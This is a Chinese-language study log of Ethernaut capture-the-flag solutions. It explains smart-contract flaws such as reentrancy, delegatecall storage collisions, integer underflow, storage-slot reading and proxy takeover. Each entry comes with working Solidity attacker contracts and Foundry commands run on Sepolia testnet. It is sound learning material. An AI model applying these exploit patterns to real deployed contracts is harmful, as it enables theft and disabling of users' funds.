Skip to content

Latest commit

 

History

History
1021 lines (697 loc) · 35 KB

phipupt.md

File metadata and controls

1021 lines (697 loc) · 35 KB
timezone
Asia/Shanghai

phipupt

  1. 自我介绍 接触 web3 挺长时间了,一直浅尝则止,希望借这个机会深入学习下。
  2. 你认为你会完成本次残酷学习吗? 没问题

Notes

2024.08.29

The Ethernaut level 0

第一天打卡,内容比较简单,在控制台输入代码即可交互 截屏2024-08-29 22 51 18

2024.08.30

The Ethernaut level 1- 获取合约拥有权,并提取余额 只需要先调用 contribute 方法存入一笔资金,再转账任意数量 ether 带合约就可以获得 ownership,进而提取全部余额。 重新温习了 Foundry,写了个合约去调用。但是一直报错,还得再改改。

2024.08.31

The Ethernaut level 1

调试了好久,终于成功了。

在 sepolia 重新部署了一个 level01 的 Fallback 合约

写了一个攻击合约去实现所有功能,攻击合约在这里
具体实现逻辑:

  1. 先给攻击合约一定数量的 ether,用于调用 Fallback 合约时发送 ether
  2. 调用 attack 方法,该方法调用 Fallback 合约的 contribute 方法,存入一笔资金。再直接发送 1 wei 给 Fallback 合约,从而获取 owner 权限。
  3. 最后再调用 Fallback 合约的 withdraw 方法(此时已经具有 owner 权限),成功提取所有资金

示例代码

2024.09.01

The Ethernaut level 2

这道题的构造函数是 Fal1out,合约名叫 Fallout。不仔细检查,完全看不出来区别。

本题想考的知识点应该是:在 Solidity 0.4.22 之前,可以使用与合约同名的函数作为构造函数。从 Solidity 0.4.22 开始,应使用 constructor 关键字。

因此,破解这题没什么难度。“构造”函数并没有被执行,合约部署后 owner 没有被赋值,为默认值 0x。只要调用 Fal1out 函数即可获得 owner 权限。

下面是使用 Foundry 的 cast 命令去调用智能合约:

(新部署的 Fallout 合约,地址

合约部署后调用合约的 owner 方法,返回 0x0000000000000000000000000000000000000000

cast call \
0x6c178efb9F79C13f88618F82Dee359025F3C8F71  "owner()(address)"  \
--rpc-url sepolia

调用 Fal1out 函数,获取 owner 权限。交易哈希

cast send \
0x6c178efb9F79C13f88618F82Dee359025F3C8F71  "Fal1out()()"  \
--value 10000000000 \
--rpc-url sepolia \
--private-key <private key>

再次调用上面的 owner 方法,返回发送者地址 0x3EBA4347974cF00b7ba130797e5DbfAB33D8Ef4b

2024.09.02

The Ethernaut level 3

这个挑战要求在一次投币游戏中通过猜测投币的结果连续正确10次。

为了在连续猜对10次,必须预测 blockValue,并在调用 flip 函数时提供正确的 _guess 参数。

基于以上的分析,可以设计如下步骤来连续正确猜测10次:

  1. 部署一个新的合约(Attacker),该合约能够计算并预测 CoinFlip 合约的投币结果。
  2. 使用该合约调用 CoinFlip 合约的 flip 函数,这样每次都能提供正确的 _guess 参数。
  3. 重复调用多次

示例合约在这里

链上记录:

alt text

2024.09.03

The Ethernaut level 4

Ethernaut的第4关要求获得合约的owner权限。

要获得owner权限,需要调用 changeOwner 方法,但条件是 tx.origin != msg.sender

这个条件可以通过使用一个中间合约来绕过,通过中间合约去调用目标合约来实现。此时

  • tx.origin = 发送交易者
  • msg.sender = 中间合约地址

示例合约在这里

链上记录:

2024.09.04

The Ethernaut level 5

这一关要求获得更多的token。

合约看起来没什么问题,但是 solidity 版本用的是是 0.6,没有处理整型的下溢/溢出。

因此,只需要发送大于 20 的值,比如 21,就可以获得 21 个token

直接使用 Foundry 的命令:

查询余额:

cast call <level address> \
"balanceOf(address)(uint256)" <receiver> \
--rpc-url sepolia

转账(获取更多token)

cast send <level address> \
"transfer(address,uint256)(bool)" <receiver> 21 \
--rpc-url sepolia \
--private-key <deployer private key> 

链上记录:

2024.09.05

The Ethernaut level 6

这一关要求获得 Delegation 合约的 owner 权限

要获取 Delegation 合约中的 owner 权限,关键在于利用 Delegation 合约的 fallback 函数和 delegatecall 的特性。delegatecall 会在调用合约的上下文中执行被调用的代码,这意味着它会使用调用合约的存储。

步骤如下:

  1. 计算 Delegate 合约中 pwn() 函数的函数选择器

    pwn() 函数的选择器是其函数签名的 keccak256 哈希的前 4 个字节。

  2. Delegation 合约发送一个调用,其中:

    msg.data 应该是 pwn() 函数的选择器。

    可以使用任何数量的 ETH。

  3. 这将触发 Delegation 合约的 fallback 函数,进而使用 delegatecall 调用 Delegate 合约的 pwn() 函数。

  4. 由于使用了 delegatecallpwn() 函数将在 Delegation 合约的上下文中执行,从而将调用者的地址设置为 Delegation 合约的 owner。

使用 Foundry cast 命令可以更简单:

调用 Delegation 合约 pwn() 函数

cast send <level address> \
"pwn()()" \
--rpc-url sepolia \
--private-key <your private key> 

查询当前 owner

cast call <level address> \
"owner()(address)" \
--rpc-url sepolia

链上记录:

The Ethernaut level 7

这一关的要求是增加 Forece 合约的 ether 余额

Force 合约没有任何函数,要想向该合约发送 ether,普通转账是不行的。需要使用一些特殊的方法。以下是几种可能的方式:

  1. 自毁方法(selfdestruct):这是最常见的强制发送以太币到一个没有接收函数的合约的方法。
  2. 预部署合约:使用 CREATE2 操作码预先计算出合约的地址,并在合约部署之前向该地址发送 ether。

由于合约不是自己部署,因此采用第一种方式。

示例代码:

contract Attacker {
    constructor() {}

    function attack(address receiver) public payable {
        selfdestruct(payable(receiver));
    }

    receive() external payable {}
}

完整代码见:Attacker

使用Foundry:

调用脚本部署 Attacker 合约并且发动 attack

forge script script/level07/Attacker.s.sol:CallContractScript --rpc-url sepolia --broadcast

查询 ether 余额

cast balance 0xd2E4Ba00684F3d61D585ca344ec566e03FA06F47 --rpc-url sepolia

链上记录:

2024.09.06

The Ethernaut level 8

这一关的要求是反转 Vaultlocked 状态

Vault 合约提供了 unlock 函数,只需要提供对应的密码。虽然在合约中密码字段设置为 private,无法通过公开的方法访问。但是区块链上的状态变量是公开的,可以通过读取合约的存储插槽读区的值。
Vault 合约中 password 状态变量占用插槽1,可以通过 foundry 读取该插槽的值。

示例代码:

Vault level = Vault(0x2a27021Aa2ccE6467cDc894E6394152fA8867fB4);

bytes32 password = vm.load(address(level), bytes32(uint256(1)));

level.unlock(password);

完整代码见:这里

Foundry 脚本:

调用脚本去读区对应插槽的值:

forge script script/level08.s.sol:CallContractScript --rpc-url sepolia --broadcast

查询 locked 状态

cast call 0x2a27021Aa2ccE6467cDc894E6394152fA8867fB4 \
"locked()(bool)" \
--rpc-url sepolia

链上记录:

2024.09.07

The Ethernaut level 9

这一关的要求是结束这个庞氏游戏。

仔细阅读这个合约,发现,只要发送 ether 数量比当前 prize 值大,就可以成为新的 king。同时, owner 有权限直接让游戏从零开始。

注意到 receive 函数中使用了 transfer,而且没有判断改方法执行是否成功。因此,可以从这里下手。只要 tansfer 失败了,函数回退,任何人都无法再继续这个游戏。

reansfer 失败最简单的方式就是写一个不接收 ether 的函数(没有 fallbackreceive ),让这和合约成为新的 king 就行了。

步骤如下:

  1. 部署一个不接收 ether 的合约
  2. 令这个合约成为新的 king

实例代码如下:

contract Attacker {
    address targetAddr;
    bool locked;
    constructor(address targetAddr_) {
        targetAddr = targetAddr_;
    }

    function attack(uint value) public payable {
        (bool success, ) = targetAddr.call{value: value}("");

        require(success, "claim kingship failed");
    }

    receive() external payable {
        require(!locked, "Never send a wei");
        locked = true;
    }
}

还需要一个脚本去部署 Attacker 合约并发送大于当前 prize 的 ether 数量成为 king

address levelAddr = 0xDB22a38C8d51dc8CF7bfBbffAb8f618cFE148a04;

Attacker attacker = new Attacker(levelAddr);

King target = King(payable(levelAddr));

// 计算需要给攻击合约至少发送多少 ether
uint minValue = target.prize() + 1;
(bool success, ) = address(attacker).call{value: minValue}("");
require(success, "Failed to send Ether to the attacker contract");

// 攻击合约发动攻击
attacker.attack(minValue);

完整代码见:这里

Foundry 脚本:

调用脚本部署并发动攻击:

forge script script/level09.s.sol:CallContractScript --rpc-url sepolia --broadcast

查询当前 king

cast call <level address> \
"_king()(address)" \
--rpc-url sepolia

查询当前 prize

cast call <level address> \
"prize()(uint256)" \
--rpc-url sepolia

尝试获取king

cast send <level address> \
--value <value greate than prize> \
--rpc-url sepolia \
--private-key <your private key>

链上记录:

2024.09.08

The Ethernaut level 10

这一关的要求是获取合约里所有的资金。

仔细阅读这个合约,发现,这是个典型的重入攻击案例。

问题出在 withdraw 方法,在更新余额之前调用了 msg.sender.call{value: _amount}("")。这意味着在调用者收到以太币后,调用者仍然有能力再次调用 withdraw 函数(即发生重入),在余额尚未更新之前再进行一次提取。通过这种方式,攻击者可以反复进行 withdraw 操作,把整个合约的余额全部提走。

采用 Checks-Effects-Interactions 模式可以修复这个重入的问题。

攻击合约步骤如下:

  1. 捐赠一定数量 ether 给目标合约
  2. 编写 receive 函数,接收到 ether 时向目标合约发起 withdraw
  3. 准备就绪后,发起 withdraw

示例代码如下:

contract Attacker {
    Reentrance target;

    constructor(address targetAddr) public {
        target = Reentrance(payable(targetAddr));
    }

    function attack(uint amount) public {
        target.donate{value: amount}(address(this));
        target.withdraw(amount);
    }

    receive() external payable {
        if (address(target).balance >= msg.value) {
            target.withdraw(msg.value);
        }
    }
}

还需要一个脚本去部署 Attacker 合约并发起攻击

address levelAddr = 0x5506958fC2AB6709357d9cB7F813cfb3a387b5B7;

Attacker attacker = new Attacker(levelAddr);

uint amount = 0.001 ether; // level 合约当前balance
(bool success, ) = address(attacker).call{value: amount}(""); // 先发送 ether 给 attacker
require(success, "fund attacker failed");

attacker.attack(amount);

完整代码见:这里

Foundry 脚本:

调用脚本部署并发动攻击:

forge script script/level10.s.sol:CallContractScript --rpc-url sepolia --broadcast

查询当前地址余额

cast balance <address> --rpc-url sepolia

链上记录:

2024.09.09

The Ethernaut level 11

这一关的要求是让电梯合约达到顶楼。

仔细阅读这个合约,发现 Building 合约并没有任何实现细节。而且 Elevator 合约里实例化 Building 时使用了 msg.send 作为地址。

因此,我们可以编写一个实现了 Building 接口的合约实现关键的 isLastFloor 方法。再通过这个合约去调用 Elevator 合约的 goTo 方法。这样就可以通过控制 Building 合约的返回值,进而达到目的。

攻击合约步骤如下:

  1. 编写一个实现了 Building 接口的合约
  2. 实现 isLastFloor 方法,第一次调用时返回 false,之后调用返回 true
  3. 编写 attack 函数调用 Elevator 的 goTo(floor) 方法;
  4. 调用 attack 函数发起攻击

示例代码如下:

contract Attacker is Building {
    Elevator elevator;
    bool hasCalled;

    constructor(address elevator_) {
        elevator = Elevator(elevator_);
    }

    function isLastFloor(uint256 _floor) public returns (bool) {
        if (hasCalled) return true;

        hasCalled = true;
        return false;
    }

    function attack(uint floor) public {
        elevator.goTo(floor);
    }
}

还需要一个脚本去部署 Attacker 合约并发起攻击

address levelAddr = 0x5B0424701F6f9a8e27CF76DAfC918A5E558f0Dc5;

Attacker attacker = new Attacker(levelAddr);

attacker.attack(100);

完整代码见:这里

Foundry 脚本:

调用脚本部署并发动攻击:

forge script script/level11.s.sol:CallContractScript --rpc-url sepolia --broadcast

查询是否到达顶层

cast call 0x5B0424701F6f9a8e27CF76DAfC918A5E558f0Dc5 \
"top()(bool)" \
--rpc-url sepolia

链上记录:

2024.09.10

The Ethernaut level 12

这一关的要求是解锁 Privacy 合约。

仔细阅读这个合约,解锁 Privacy 合约的方式是调用 unlock 方法并输入正确的 _key_key 值从合约的存储值 data 而来。因此,该挑战其实考的是合约的存储布局。

Privacy 合约中变量的存储布局:

  • bool public locked 存储在槽 0
  • uint256 public ID 存储在槽 1
  • uint8 private flatteninguint8 private denominationuint16 private awkwardness 会紧凑地存储在槽 2(因为它们总共占 32 位)。
  • bytes32[3] private data 是一个静态大小的数组,所以它会在存储槽 3 开始连续存储,其每个元素占用一个存储槽(即槽 3、槽 4、槽 5

因此,可以通过 Foundry 的作弊码读取存储槽 5 的值,就可以顺利解锁 Privacy 合约。

示例代码如下:

contract Attacker is Building {
    Privacy level;

    constructor(address level_) {
        level = Privacy(level_);
    }

    function attack(bytes16 _key) public {
        level.unlock(_key);
    }
}

还需要一个脚本去部署 Attacker 合约并发起攻击,其中读取合约存储槽 5 的值

address levelAddr = 0x477C9b8Afa15DcF950fbAeEd391170C0eb0534C3;

Attacker attacker = new Attacker(levelAddr);

uint256 levelDataSlotStartIdx = 3;

bytes32 dataInPos2 = vm.load(
    levelAddr,
    bytes32(levelDataSlotStartIdx + 2)
);

bytes16 _key = bytes16(dataInPos2);

attacker.attack(_key);

完整代码见:这里

Foundry 脚本:

调用脚本部署并发动攻击:

forge script script/level12.s.sol:CallContractScript --rpc-url sepolia --broadcast

查询是否已解锁

cast call 0x477C9b8Afa15DcF950fbAeEd391170C0eb0534C3 \
"locked()(bool)" \
--rpc-url sepolia

链上记录:

2024.09.11

The Ethernaut level 13

这一关的要求是通过三个守门员。

  • gateOne:msg.sender 和 tx.origin 不想等,这个很容易实现:通过部署一个中间合约去调用。
  • gateTwo:要求剩余 gas 为 8191 的整数倍,这个得暴力破解
  • gateThres:设计多个转换转换

ps:脚本还在测试中

2024.09.12

The Ethernaut level 15

这一关的要求是绕过时间限制提取所有代币

仔细阅读合约发现,该合约实现了 ERC20 标准,并尝试防止初始代币持有者在给定的时间锁(timeLock)之前转移代币。合约在 transfer 函数添加了 lockTokens 修饰器,通过 msg.sender == player 限制了初始代币持有者提取时间。 但是,ERC20 合约不只一个转账函数。通过 arrprovetransferFrom,可以授权他人动用自己的币。 因此,只要初始代币持有者委托给第三者进行转账即可提取所有代币。

攻击脚本:

...
address player = vm.addr(privateKey);
address spender = vm.addr(privateKeySpender);

address levelAddr = 0x69f52ffB405AB5DaaEbDb1111C4F5ec64DaF37C8;
NaughtCoin level = NaughtCoin(levelAddr);

// 初始化 player
vm.startBroadcast(privateKey);
level.approve(spender, level.balanceOf(player));
vm.stopBroadcast();

// 初始化 spender
vm.startBroadcast(privateKeySpender);
level.transferFrom(player, spender, level.balanceOf(player));
vm.stopBroadcast();

完整代码见:这里

链上记录:

2024.09.13

The Ethernaut level 16

这一关的目的是解锁获取 Preservation 合约的所有权。

仔细阅读这个合约,发现 Preservation 使用了 delegatecall。这就很容易发生存储冲突的问题。果不其然,LibraryContractsetTime 函数修改 storedTime 变量。该变量在 LibraryContract 合约是在 slot0。但是由于是 delegatecall,真正被修改的是 调用者,即 Preservation 合约的 slot0。·

要想成为 owner,可以利用这个漏洞,调用 setFirstTime 时 把 timeZone1Library 改为攻击者合约。再次调用 setFirstTime 时,使用的是攻击者合约的逻辑。可以在攻击者合约部署和 Preservation 一样的存储,进而修改 owner

攻击者合约:

contract Attacker {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint256 time) public {
        owner = address(uint160(time));
    }
}

攻击脚本:

...
address levelAddr = 0x20FD051bF1d72a491674d9259dc7a155160bdF9d;
Preservation level = Preservation(levelAddr);

Attacker attacker = new Attacker();

// 第一次调用把 timeZone1Library1 改为攻击者地址
level.setFirstTime(uint256(uint160(address(attacker))));

// 第二次调用其实是 delegatecall attacker 的 setTime 函数把 owner 设置为 sender
level.setFirstTime(uint256(uint160(address(sender))));

完整代码见:这里

执行脚本:

forge script script/Level16.s.sol:CallContractScript --rpc-url sepolia --broadcast

链上记录:

2024.09.14

The Ethernaut level 17

这一关的目的是取回第一个 SimpleToken 合约里的 ether,该合约提供了自毁方式可以提取属于资金。然而,该合约地址忘记了。 (吐槽下,合约地址忘记了的话查看区块链浏览器就可以找回了呀)

仔细阅读合约,SimpleToken 合约由 Recovery 合约使用 create 操作码创建。要找回创建的合约地址的话,只需 create 中的两个关键参数:sendernonce。前面提到了,是要找回第一个合约的地址,即第一笔交易,因此 nonce = 1sender 自然是 Recovery 合约的地址。有了这两个关键参数后,合约地址就可以计算出来了。

攻击者合约:

contract Attacker {
    Recovery level;

    constructor(address level_) {
        level = Recovery(level_);
    }

    function attack() public {
        address payable lostContract = payable(address(
            uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(level), bytes1(0x01)))))
        ));

        SimpleToken(lostContract).destroy(payable(msg.sender));
    }
}

执行脚本:

forge script script/Level17.s.sol:CallContractScript --rpc-url sepolia --broadcast

完整代码见:这里

链上记录:

2024.09.15

The Ethernaut level 21

这一关的目的是以低于要求的价格从商店购买物品。合约中也没有实际支付,只是概念上的支出。

仔细阅读合约,Shop 合约定义了一个 Buyer 接口,但没有具体的实现。在 buy 函数中依赖了一个 Buyer 实例,且这个实例还是由 msg.sender 初始化的,即 shop 合约要求使用一个 Buyer 合约去购买(buy),因此可以从这里做文章。

只要自己部署一个实现 Buyer 接口的合约,price() 根据不同状态返回不同的值。比如,当商品已售卖,返回1;商品未售卖,返回100(>=100)。

攻击者合约:

contract Attacker is Buyer {
    Shop level;

    constructor(address level_) {
        level = Shop(level_);
    }

    function price() external view returns (uint256) {
        return level.isSold() ? 1 : 100;
    }

    function attack() external {
        level.buy();
    }
}

执行脚本:

forge script script/Level21.s.sol:CallContractScript --rpc-url sepolia --broadcast

完整代码见:这里

查询购买后的 price:(返回 1)

cast call 0x217464Bcc60Ae344273201a91E6568486c3a07EA \
"price()(uint256)" \
--rpc-url sepolia

链上记录:

2024.09.16

The Ethernaut level 18

这个挑战要求提供一个 Solver 合约,合约有一个方法 whatIsTheMeaningOfLife(),返回一个32字节数字。另外,要求 Solver 合约的代码需要非常小,最多不超过 10 字节。

按正常逻辑编写一个一个 Solver 合约很简单,但是字节码会超过 10 字节。可以借用 fallback 函数,不管调用哪个方法都返回42(0x2a)。然后通过最小代理合约的方式来部署合约运行字节码。

Solver 合约运行字节码 0x602A60005260206000F3

[00]    PUSH1   2a
[02]    PUSH1   00
[04]    MSTORE  
[05]    PUSH1   20
[07]    PUSH1   00
[09]    RETURN

最终,RETURN 操作返回长度为 32 字节的数据,从内存地址 0x00 开始。这些数据包括前面的 0x2a 和接下来的零填充数据。

攻击者合约:

contract Attacker {
    MagicNum level;

    constructor(address level_) {
        level = MagicNum(level_);
    }

    function attack() public {
        address solverInstance;
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, shl(0x68, 0x69602A60005260206000F3600052600A6016F3))
            solverInstance := create(0, ptr, 0x13)
        }

        level.setSolver(solverInstance);
    }
}

执行脚本:

forge script script/Level18.s.sol:CallContractScript --rpc-url sepolia --broadcast

完整代码见:这里

链上记录:

2024.09.17

The Ethernaut level 19

这一关的目的是成为的 AlienCodex 合约的 owner。

仔细阅读合约,AlienCodex 合约并没有提供更改 owner 相关的函数。但是继承了 Ownable 合约,该合约有一个 address private _owner 状态变量。AlienCodex 合约表面上只提供了修改 codex 动态数组的功能。但是,该 solidity 是 ^5.0.0,没有提供溢出保护。因此,可以从这里入手,通过计算指定存储槽的值,修改 codex 数组的值,进而覆盖 owner 变量所在槽的值。

合约存储布局如下:

x = keccak256(1)

slot value
slot(0) owner(20) contact(1)
slot(1) codex 的长度
... ...
... ...
slot(x) codex[0]
slot(x+1) codex[1]
... ...
slot(0) codex[0-x]

攻击者合约:

contract Attacker {
    IAlienCodex level;

    constructor(address level_) {
        level = IAlienCodex(level_);
    }

    function attack() public {
        level.makeContact();

        level.retract();

        uint256 slotCodex =  uint(keccak256(abi.encode(1)));
        uint256 slotTarget;
        unchecked {
            slotTarget = 0 - slotCodex;
        }

        bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
        level.revise(slotTarget, myAddress);
    }
}

执行脚本:

forge script script/level19.s.sol:CallContractScript --rpc-url sepolia --broadcast

完整代码见:这里

链上记录:

2024.09.18

The Ethernaut level 20

这一关的目的阻止 ownerDenial 合约中提取(withdraw)资金 。

仔细阅读合约,Denial 合约,任何人都可以调用 withdraw 方法提取资金。每次提取时各自转账 1% 的资金 partnerowner。 转账首先使用 callpartner 转账,没有检查返回值!(这里很关键)。然后 使用 transferowner 转账。 要想拒绝 owner 提取资金,只需要在向 partner 转账时搞点破坏就可以了,比如 partner 合约里 receive 函数内部的无限循环,交易最终将耗尽 gas 回退。

攻击者合约:

contract Attacker {
    uint256 counter = 0;

    constructor() {}

    receive() external payable {
        for (uint256 i = 0; i < 2 ** 256 - 1; i++) {
            counter += 1;
        }
    }
}

执行脚本:

forge script script/Level20.s.sol:CallContractScript --rpc-url sepolia --broadcast

完整代码见:这里

链上记录:

2024.09.19

The Ethernaut level 22

这一关的目的是把 Dex 中其中一个代币的余额全部提取出来。

仔细阅读合约,该合约实现了去中心化交易所的基本功能。只不过只能用来兑换固定的两种 token:token1 和 token2。而且其价格是通过 token 的余额来计算,这里可以加以利用。 合约中通过 balance(token1)/balance(token2) 来计算价格,但是忽略了 solidity 中除法是整数,比如 5/2=2。 当 token1 余额小于 token2 余额时,商变为 0。,即价格为 0。可以通过多集 swap,改变其中一种 token 的余额。

脚本还在测试中...

2024.09.20

The Ethernaut level 23

这一关的目的是把 DexTwo 中 token1 和 token2 的余额都提取出来。

仔细阅读合约,该合约是前一关卡 Dex 的微调版本。swap 函数去掉了 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); 限制。这意味可以使用一个任意的 from 代币,从合约中中获得真正的"to"代币。

脚本还在测试中...

2024.09.21

The Ethernaut level 25

这一关的目的是对实现 Engine 合约调用 selfdestruct(),使 Engine 合约无法使用。

仔细阅读合约,这是一个使用 UUPS 的模式的代理合约。Motorbike 是代理合约,而 Engine 是实现合约。

Engine 合约代码中没有定义 selfdestruct()。那么将如何调用它呢?可以尝试升级实现合约,使其指向自己部署的攻击者合约。

为了升级逻辑,我们需要确保我们是 upgrader

这里需要注意的是,在这个实现中,initialize() 函数应该由代理合约调用。但它是通过 delegatecall() 来实现的。这意味着是在代理合约的上下文中进行的,而不是在实现中。

在实现合约的上下文中,这尚未被调用。因此,如果直接调用这个函数,调用者(攻击合约)将成为升级者。

一旦我们成为了upgrader,我们可以直接调用 upgradeToAndCall(),并把实现合约更改为自己部署的带有 selfdestruct 的攻击合约

攻击者合约:

contract Attacker {
    Motorbike motorbike;
    Engine engine;
    Destructive destructive;

    constructor(address motorbikeAddr, address engineAddr) public {
        motorbike = Motorbike(payable(motorbikeAddr));
        engine = Engine(engineAddr);
        destructive = new Destructive();
    }

    function attack() external {
        engine.initialize();
        bytes memory encodedData = abi.encodeWithSignature("killed()");
        engine.upgradeToAndCall(address(destructive), encodedData);
    }
}

执行脚本:

forge script script/Level25.s.sol:CallContractScript --rpc-url sepolia --broadcast

完整代码见:这里

链上记录: